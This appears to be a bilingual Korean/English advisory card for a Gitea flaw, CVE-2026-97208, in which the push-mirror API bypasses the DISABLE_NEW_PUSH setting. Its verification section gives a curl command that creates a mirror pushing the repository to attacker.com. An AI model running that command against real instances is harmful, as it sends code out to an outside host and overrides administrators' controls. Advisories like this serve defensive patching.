🔍 CVE-2026-97208

4.9
CVSS Score
MEDIUM
2026-10-06
2026-10-13 17:56
✅ 완료

🇰🇷 한글 설명

Gitea의 API 엔드포인트가 미러링 활성화 여부만 확인하고, 웹 인터페이스에서 강제하는 'DISABLE_NEW_PUSH' 설정을 검증하지 않는 취약점입니다. 이로 인해 사이트 관리자가 새로운 푸시 미러 생성을 금지했더라도 저장소 관리자가 API를 통해 미러를 생성할 수 있습니다.

💡 쉬운 설명

관리자가 새로운 코드 복사(미러링) 기능을 막아두었음에도 불구하고, API를 이용하면 이를 우회하여 코드를 외부로 보낼 수 있는 문제입니다. 즉, 보안 설정이 API를 통해서는 제대로 작동하지 않는 상태입니다.

🇺🇸 원문 (English)

The Gitea API endpoint for creating push mirrors (`POST /api/v1/repos/{owner}/{repo}/push_mirrors`) checked only whether mirroring was enabled and not the `[mirror] DISABLE_NEW_PUSH` setting that the web interface enforces. A repository administrator could therefore create new push mirrors on instances where the site administrator had disabled them. A push mirror pushes all refs of the repository to a remote chosen by the caller, on each commit or on a schedule.

📍 영향받는 시스템

Gitea (설정된 DISABLE_NEW_PUSH 옵션이 API 검증을 우회하는 버전)

⚔️ 공격 벡터

취약한 API 엔드포인트(POST /api/v1/repos/{owner}/{repo}/push_mirrors)를 직접 호출하여 미러 생성

🛡️ 대응 방법

Gitea를 최신 보안 패치가 적용된 버전으로 업데이트하고, API 호출 시에도 DISABLE_NEW_PUSH 설정을 검증하도록 수정해야 합니다.

🔧 검증 코드

DISABLE_NEW_PUSH가 활성화된 상태에서 위 명령어가 201 Created를 반환하면 취약한 상태이며, 403 Forbidden 등을 반환하면 안전합니다.

Shell / Script
curl -X POST -H 'Authorization: token <YOUR_TOKEN>' https://<GITEA_URL>/api/v1/repos/<owner>/<repo>/push_mirrors -d '{"url":"https://attacker.com/repo.git"}'

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

💻 영향받는 소프트웨어

Git